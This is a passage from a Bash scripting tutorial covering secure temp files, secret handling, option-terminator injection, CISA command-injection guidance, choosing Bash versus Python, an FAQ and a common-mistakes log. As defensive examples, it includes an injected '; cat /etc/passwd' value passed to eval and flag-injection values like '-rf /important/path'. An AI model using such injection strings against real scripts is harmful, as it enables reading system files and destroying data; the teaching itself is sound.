[[ "$INPUT" =~ ^[a-zA-Z0-9_-]+$ ]] || exit 1

# Unpredictable temp file, auto-cleanup
TMPFILE=$(mktemp)
trap 'rm -f "$TMPFILE"' EXIT

# Secret from env var, not embedded
API_KEY="${API_KEY:?API_KEY must be set}"
Quotes, whitelists, mktemp, and environment-loaded secrets close this entire attack surface.

Temporary file vulnerabilities. A script that creates temp files like /tmp/myscript_output.txt is vulnerable to symlink attacks and file clobbering. An attacker who can predict your temp file name can create a symlink before your script runs, redirecting your writes to an arbitrary location. Use mktemp$ mktempCreates a temporary file with a cryptographically unpredictable name in /tmp and prints the path. Prevents symlink attacks that exploit predictable filenames. Use mktemp -d for a temp directory.See: Security section, which generates a unique unpredictable name, and always clean up with trap:

safe_tempfile.sh
#!/bin/bash
set -euo pipefail

# WRONG: predictable, world-readable, vulnerable to symlink attacks
# TMPFILE="/tmp/myscript_output.txt"

# CORRECT: unique names, owner-only permissions, single consolidated trap
# Each trap call REPLACES the previous one -- never use two separate trap
# EXIT registrations or the first cleanup target will be silently dropped.
TMPFILE=$(mktemp) || { echo "ERROR: Could not create temp file"; exit 1; }
WORKDIR=$(mktemp -d)
trap 'rm -f "$TMPFILE"; rm -rf "$WORKDIR"' EXIT

echo "Working in $WORKDIR"

Secrets in scripts. Never hardcode passwords, API keys, or tokens directly in a script file. Script files end up in version control, process listings (/proc/<pid>/cmdline), and log files. Instead, read secrets from environment variables, a secrets manager, or a file with restricted permissions (chmod 600) that is explicitly excluded from version control. Even environment variables can leak into subprocesses, so for highly sensitive values, consider reading from a file descriptor directly.

Least privilege. Run scripts with the minimum permissions required. Use sudo only for the specific commands that need it, rather than running the entire script as root. A bug in a script running as root can affect the whole system; a bug in a script running as a limited user is contained. The same script that runs fine in testing can silently delete system files in production if the execution context changes.

Option-terminator injection. Correct quoting prevents word-splitting but does not prevent option injection. If your script passes a user-supplied value as a positional argument to a command, an attacker can supply a value like -rf /important/path or --config=/etc/malicious.conf that the target command interprets as a flag rather than data. The fix is to insert -- between the last option and any user-controlled argument -- this signals to the command that everything following is a literal positional argument, not an option. For example, grep -- "$PATTERN" "$FILE" instead of grep "$PATTERN" "$FILE". This is one of the most commonly skipped defenses, even in scripts that otherwise quote correctly.

Lock configuration with readonly. Variables that hold paths, thresholds, or other configuration values that should never change during execution can be declared readonly. This prevents a downstream function or a sourced file from accidentally overwriting a value you depend on: readonly BACKUP_DIR="/mnt/backups". If anything later in the script tries to reassign BACKUP_DIR, Bash will exit with an error rather than silently continuing with a corrupted value. This is especially important for path variables used in destructive operations.

Prevent accidental overwrites with set -C. By default, Bash will silently overwrite an existing file when you redirect output to it with >. Adding set -C (also written set -o noclobber) causes Bash to refuse to overwrite an existing file via redirection, exiting with an error instead. This catches a class of accidental data-loss bugs where a misconfigured output path or a reused variable name causes a script to clobber a file it was never supposed to touch. Use >| to explicitly override noclobber when you actually do intend to overwrite.

Control the temp directory explicitly. mktemp uses the value of $TMPDIR when set, and falls back to /tmp otherwise. On a shared system, /tmp is world-writable and has been the scene of symlink and race-condition attacks for decades -- even with unpredictable filenames, the directory itself is a shared attack surface. If your script runs in a controlled environment where you can guarantee a non-shared directory (an operator-owned directory with restricted permissions, or a subdirectory created at script start with chmod 700), set TMPDIR explicitly before calling mktemp: TMPDIR=$(mktemp -d /var/run/myscript.XXXXXX); export TMPDIR. This narrows the attack surface to a directory only the script's user can read or write.

Audit your script's environment assumptions. Scripts inherit the full environment of the calling process, including any PATH, IFS, LD_PRELOAD, or other variables that a compromised parent could have manipulated. A defensive script resets the variables it depends on explicitly rather than assuming they are safe: set PATH to only the directories you need, reset IFS to its default if you rely on word-splitting behavior, and never assume that the environment your script runs in during testing matches the environment it will run in under cron, sudo, or a CI runner.

Real-World Context

Command injection vulnerabilities -- the category that unquoted variables and eval misuse fall into -- have been a persistent threat for decades. On July 10, 2024, CISA and the FBI released a Secure by Design Alert specifically titled Eliminating OS Command Injection Vulnerabilities, issued in direct response to threat actor campaigns exploiting OS command injection flaws in network edge devices (CVE-2024-20399, CVE-2024-3400, CVE-2024-21887). The alert characterizes these vulnerabilities as entirely avoidable, noting that software manufacturers have continued shipping products with this flaw despite two decades of well-documented mitigations. In the companion Product Security Bad Practices guidance (updated January 2025), CISA and the FBI formally reclassified command injection as a product security bad practice, recommending that manufacturers prevent it by strictly allowing only alphanumeric characters and underscores when sanitizing user input -- the same whitelist pattern demonstrated in this guide. Bash scripting is one of the places where injection flaws are easiest to introduce and easiest to prevent. Quoting variables and avoiding eval on untrusted input are not just good practice -- they are the baseline defense against this entire class of attack. Sources: CISA Alert, July 10 2024; CISA/FBI Product Security Bad Practices v2, January 2025.

// recall check think first, then reveal
An attacker provides the input ; cat /etc/passwd to a script that runs eval "echo $USER_INPUT". What happens?
The semicolon terminates the echo command and starts a new command. The shell executes echo (outputs nothing meaningful), then executes cat /etc/passwd -- reading the system user database. This is command injection via eval. The fix is to never pass user input to eval, and to validate all input with a regex whitelist before any command use.
Why is /tmp/myscript_output.txt a security risk as a temp file name?
The name is predictable. An attacker running on the same machine can create a symlink at that exact path before your script runs, pointing to an arbitrary target. When your script writes to the temp file, it writes to the attacker's chosen destination instead. mktemp generates a cryptographically unpredictable name that prevents this.
// section self-check: security honest calibration before you move on
checked: 0 / 5 — security knowledge should be solid before writing scripts that handle any external input.

When Bash Is the Wrong Tool

Knowing when to use Bash also means knowing when to stop using it. Chet Ramey, the primary maintainer of Bash since 1990, has noted that the shell was designed as an orchestration layer -- a way to connect programs together -- not as a general-purpose programming language. When that boundary gets crossed, the results tend to be fragile. The MIT Student Information Processing Board's safe shell scripting guidance observes that when possible, using a higher-level language avoids an entire class of shell-specific pitfalls. Bash is not always the right answer, and recognizing the boundary is part of writing scripts professionally.

Bash handles orchestration well: running commands, piping output, checking exit codes, reading files line by line, and scheduling work. It handles complex data manipulation poorly. If you find yourself writing long chains of awk, sed, and cut to parse structured data, or building deeply nested conditional logic, or working with JSON, YAML, or XML -- Python for Linux system administration, Go, or even a purpose-built tool like jq will produce more readable, testable, and maintainable results.

A useful heuristic: if you cannot read the script back to yourself aloud as a sequence of actions and have it make sense, it is probably doing too much in the wrong language. Scripts that need proper data structures, unit tests, HTTP client libraries, or database connections belong in a language with those facilities built in. Scripts that need to run other programs, manage files, and respond to system events are exactly what Bash was designed for.

The Tool-Selection Question

A common pattern in operations teams is to prototype automation in Bash and then rewrite in Python once the logic grows beyond a hundred lines or so. There is nothing wrong with that progression. The Bash version proves the concept and gets results quickly; the Python version provides the structure for long-term maintenance. Knowing that the rewrite is coming also changes how you write the Bash version -- you keep it simple, focused, and well-commented rather than building a fragile monolith that nobody wants to touch.

// tool selection rubric -- locate your script, read across
dimension use bash when... switch to python (or go) when...
data format plain text, line-oriented, CSV with cut/awk JSON, YAML, XML, binary, database records
primary task running other programs, piping output, managing files transforming data structures, HTTP calls, parsing APIs
script length under ~100 lines of clear logic logic exceeds 100 lines or nesting depth exceeds 3 levels
error handling exit codes and trap are sufficient structured exceptions, retries, partial failure recovery needed
testing manual test, bash -n syntax check, shellcheck unit tests, mocking, CI coverage metrics required
portability needs to run on any Linux server without dependencies Python is already available or the environment is controlled
team readability team is comfortable reading shell pipelines team reads Python more fluently; script will be maintained long-term
read-aloud test you can read the script aloud as a sequence of actions and it makes sense reading it aloud produces chains of awk, sed, and cut that require decoding
// where this fits -- the skill graph
// FOUNDATION Linux CLI commands, paths, pipes BASH SCRIPTING you are here Text Editor + ShellCheck VS Code, Vim, Neovim // WHAT COMES NEXT Python Scripting complex logic, JSON, tests systemd Timers modern cron replacement Ansible / Salt config management at scale Docker Entrypoints container init scripts // ADVANCED BASH Process Substitution diff <(cmd1) <(cmd2) Named Pipes / FIFOs mkfifo, IPC between scripts Associative Arrays declare -A, key-value maps Signal Handling trap SIGTERM, SIGINT, HUP CI/CD PIPELINES GitHub Actions, GitLab CI, Jenkins -- Bash scripts run at every stage of a deployment pipeline

Wrapping Up

Bash scripting is not about learning a new programming language -- it is about giving structure and repeatability to the commands you already use every day. The barrier to entry is low because you are working with tools that are already installed on your system, and the payoff is immediate because every script you write eliminates a manual process that was costing you time and attention.

Start small. Pick a task you do repeatedly -- checking log files, restarting a service, generating a report -- and automate it. Once you have a working script, refine it. Add error handling. Add input validation. Add logging. Each improvement makes the script more robust and teaches you a new Bash concept in a practical context. Crucially, add security thinking from the start: validate inputs, use mktemp for temp files, quote every variable, and never embed secrets in the script body.

The patterns in this guide -- variables with parameter expansion defaults, conditionals, loops, functions with local scope, error handling with set -euo pipefail, trap-based cleanup, input validation with regex, and secure temp file handling -- cover the vast majority of what you will need for day-to-day automation. From here, you can explore more advanced topics like process substitution, associative arrays, named pipes, signal handling, and building interactive menus with select. But the foundation you have now is enough to start writing scripts that save you real time, catch their own mistakes, and do not create new security problems in the process.

How to Get Started with Bash Scripting

Step 1: Write your first script

Create a plain text file starting with #!/bin/bash, add your shell commands, then run chmod +x on the file to make it executable. Invoke it with ./scriptname.sh.

Step 2: Use variables and conditionals

Assign variables without spaces around the equals sign and always double-quote them when referencing. Use if/elif/else blocks with test operators to make decisions based on command output, file existence, or numeric comparisons.

Step 3: Add error handling and security

Add set -euo pipefail near the top of every script. Use trap to clean up temporary files on exit. Validate all user-supplied input with a regex whitelist before passing it to commands, and never embed secrets directly in the script file.

Frequently Asked Questions

What is Bash scripting?

Bash scripting is the practice of writing sequences of shell commands in a plain text file so that the Bash interpreter can execute them automatically. Scripts can handle variables, conditionals, loops, functions, and error handling, turning manual terminal workflows into repeatable, automated processes.

How do I make a Bash script executable?

Run chmod +x yourscript.sh to add the executable permission, then invoke it with ./yourscript.sh. The script must also start with a shebang line such as #!/bin/bash or the more portable #!/usr/bin/env bash so the operating system knows which interpreter to use.

What does set -euo pipefail do in a Bash script?

set -eEuo pipefail enables four safety mechanisms: -e causes the script to exit immediately when any command fails, -E (errtrace) ensures the ERR trap is inherited by functions and subshells so a failure inside a called function fires the trap correctly, -u treats unset variables as errors to prevent silent typo-based bugs, and -o pipefail makes a pipeline fail if any command in it fails rather than only the last one.

What is a shebang line in a Bash script?

A shebang line is the first line of a script, starting with #! followed by the path to the interpreter. For Bash, this is typically #!/bin/bash or the more portable #!/usr/bin/env bash. The shebang tells the operating system which program should execute the file. Without it, the system may use the wrong shell or refuse to run the file as an executable at all.

How do I prevent command injection in a Bash script?

The primary defenses are: always double-quote every variable reference ("$VAR" not $VAR), never pass user input to eval, validate all user-supplied input against a strict regex whitelist before using it in a command, and use mktemp for temporary files to avoid predictable names. CISA and the FBI identified command injection as a top software security bad practice in their July 2024 Secure by Design alert.

What is the difference between [ ] and [[ ]] in Bash?

Single brackets [ ] invoke the external test command and are POSIX-compatible but require careful quoting and do not support regex matching directly. Double brackets [[ ]] are a Bash built-in that support regex matching with =~, logical operators without extra escaping, and are generally safer and more expressive. Use [[ ]] in Bash scripts unless you specifically need POSIX portability for scripts that will run under /bin/sh.

When should I use Python instead of Bash?

Use Bash when your task is primarily about running commands, piping output, managing files, and scheduling work. Switch to Python when you need to parse structured data formats like JSON or YAML, build complex data structures, write unit tests, make HTTP requests, or when your script grows beyond roughly a hundred lines of tangled logic. A common pattern in operations teams is to prototype in Bash for speed and rewrite in Python for long-term maintainability.

Common Mistakes Reference Log

Every mistake below appears somewhere in this guide. This section aggregates them into one scannable reference you can return to when reviewing your own scripts or doing a code walkthrough with a teammate.

// common mistakes -- all sections consolidated sec = security · err = error handling · syn = syntax · prf = best practice
sec
eval "echo $USER_INPUT"
validate with regex whitelist first; never use eval on untrusted input
eval re-parses its argument as shell code. A semicolon in user input becomes a command separator. The attacker runs arbitrary commands under your script's permissions.
see: Security
sec
rm -rf $USER_DIR
rm -rf "$USER_DIR"
Unquoted variables undergo word splitting. If USER_DIR is empty or contains spaces, this can delete unintended directories. Quoting is both a security and a correctness requirement.
see: Security
sec
TMPFILE="/tmp/myscript_output.txt"
TMPFILE=$(mktemp); WORKDIR=$(mktemp -d); trap 'rm -f "$TMPFILE"; rm -rf "$WORKDIR"' EXIT
Predictable temp file names allow symlink attacks. An attacker creates a symlink at the same path before your script runs, redirecting writes to a target of their choosing. Also: each trap ... EXIT call replaces the previous one — if you create multiple temp resources, consolidate all cleanup into a single trap command or function.
see: Security
sec
API_KEY="sk-abc123supersecret"
API_KEY="${API_KEY:?API_KEY must be set in environment}"
Hardcoded secrets end up in version control, process listings, and log files. Read secrets from environment variables or a secrets manager, never embed them in the script body.
see: Security
sec
grep "$PATTERN" "$FILE"
grep -- "$PATTERN" "$FILE"
Without the -- option terminator, a user-supplied value beginning with a hyphen (e.g. -rf) is interpreted as a flag by the target command, not as data. The -- signals that no more options follow.
see: Security
err
#!/bin/bash (no set -eEuo pipefail)
#!/bin/bash followed by set -eEuo pipefail on line 3
Without these flags, Bash silently continues past failed commands. The -E (errtrace) flag is particularly easy to omit -- without it, ERR traps are not inherited by functions, meaning a failure inside a called function bypasses the trap entirely. A failed backup, a failed git pull, or a failed curl can all be ignored. The script reports success while the work never happened.
see: Error Handling
err
trap 'rm -f "$A"' EXIT; ...; trap 'rm -f "$B"' EXIT
trap 'rm -f "$A"; rm -f "$B"' EXIT # or use a cleanup function
Each trap ... EXIT call silently replaces the previous one. If you register two separate traps, only the second runs. Any resource created before the second trap is never cleaned up on failure.
see: Error Handling
err
cleanup code placed at the end of the script
trap cleanup EXIT
Code at the end of a script only runs on a normal, successful exit. trap EXIT runs on any exit path — errors, signals, early returns. Temp files created mid-script are always cleaned up.
see: Error Handling
sec
source "$CONFIG_FILE" # where CONFIG_FILE is a .yml/.yaml
APP_PORT=$(yq '.port' "$CONFIG_FILE") # parse, don't execute
source executes its argument as Bash code. A YAML file is not valid Bash — at best it throws a syntax error; at worst a crafted config file runs arbitrary commands with the script's permissions. Use a parser (yq, python3 -c, etc.) to extract values.
see: Variables
err
grep "pattern" file # exits 1 if no match, kills script
grep "pattern" file || true
With set -e active, a non-zero exit from any standalone command terminates the script. Commands that legitimately return non-zero in normal operation need || true to suppress the exit.
see: Error Handling
syn
NAME = "webserver-01"
NAME="webserver-01"
Spaces around the = cause Bash to interpret NAME as a command name and "webserver-01" as its argument. The assignment never happens. No spaces around = in variable assignment.
see: Variables
syn
echo ${NAME}_backup (looking for NAME_backup)
echo "${NAME}_backup"
Underscore is a valid identifier character. Without braces, Bash looks for a variable named NAME_backup, finds nothing, and expands to an empty string. Curly braces delimit where the variable name ends.
see: Variables
syn
if [$USAGE -gt $THRESHOLD]; then
if [ "$USAGE" -gt "$THRESHOLD" ]; then
Spaces inside [ ] are mandatory — [ is actually a command, and its arguments must be separated by spaces. Missing spaces produce a syntax error. Also: quote your variables. Remember that -gt, -lt, -eq etc. are numeric operators; use == or != for string comparisons.
see: Conditionals
syn
for dir in ${LOG_DIRS[@]}; do
for dir in "${LOG_DIRS[@]}"; do
Without quotes, array elements with spaces are split into multiple loop iterations. A path like /var/log/my app becomes two separate iterations: /var/log/my and app.
see: Loops
prf
#!/bin/bash (hardcoded bash path, macOS incompatible)
#!/usr/bin/env bash
On macOS, /bin/bash is frozen at version 3.2 and lacks Bash 4+ features. #!/usr/bin/env bash finds whichever bash is first in $PATH — including a Homebrew-installed current version.
see: Your First Script
prf
local variables omitted inside functions
local VARNAME="value" inside every function
Variables without local are global. A variable named BACKUP_FILE inside a function silently overwrites any BACKUP_FILE in the calling scope. Bugs from missing local can be extremely difficult to trace.
see: Functions
prf
cron job with no log redirect: */15 * * * * /scripts/check.sh
*/15 * * * * PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /scripts/check.sh >> /var/log/check.log 2>&1
Without redirection, cron silently swallows all output and errors, or sends them as local system mail nobody reads. Redirect both stdout and stderr to a log file so failures are visible. Also set PATH explicitly: cron inherits a minimal environment and scripts that work interactively often fail under cron because their tools are not on the restricted PATH.
see: Real-World Patterns

Sources and Further Reading

The technical claims in this article draw on primary and authoritative sources. Key references are listed below for verification: